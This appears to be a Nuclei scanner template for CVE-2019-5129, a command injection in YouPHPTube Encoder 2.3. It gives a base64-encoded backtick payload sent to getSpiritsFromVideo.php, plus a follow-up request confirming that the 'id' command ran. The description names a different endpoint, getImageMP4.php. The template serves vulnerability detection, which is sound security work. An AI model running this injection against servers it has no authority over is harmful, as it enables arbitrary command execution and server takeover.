id: CVE-2019-5129

info:
  name: YouPHPTube Encoder 2.3 - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube.The parameter base64Url in /objects/getImageMP4.php is vulnerable to a command injection attack.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands through command injection, leading to complete server compromise and potential access to all media content.
  remediation: |
    Upgrade to YouPHPTube Encoder version 2.4 or later, or apply vendor-provided security patches.
  reference:
    - https://xz.aliyun.com/news/6312
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-5129
    cwe-id: CWE-78
    epss-score: 0.33157
    epss-percentile: 0.98147
    cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: youphptube
    product: youphptube_encoder
    fofa-query: icon_hash="-276846707"
  tags: cve,cve2019,youphptube,rce,encoder,vkev,vuln

variables:
  file_name: "{{rand_text_alpha(4)}}.txt"
  content: "id"
  payload: '{{base64(concat("`", content, " > ", file_name, "`"))}}'

http:
  - raw:
      - |
        GET /objects/getSpiritsFromVideo.php?base64Url={{payload}}&format=jpg HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

      - |
        GET /objects/{{file_name}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body_2
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c358f468c5dd33420a60d0a74a5005d642d8b49cf5b73fb4dcc0f2e61c4f11260221009208f4d930384dac808a68828e1e6aa52db6f0f0242fe9f7df761f02d25ac56d:922c64590222798bb761d5b6d8e72950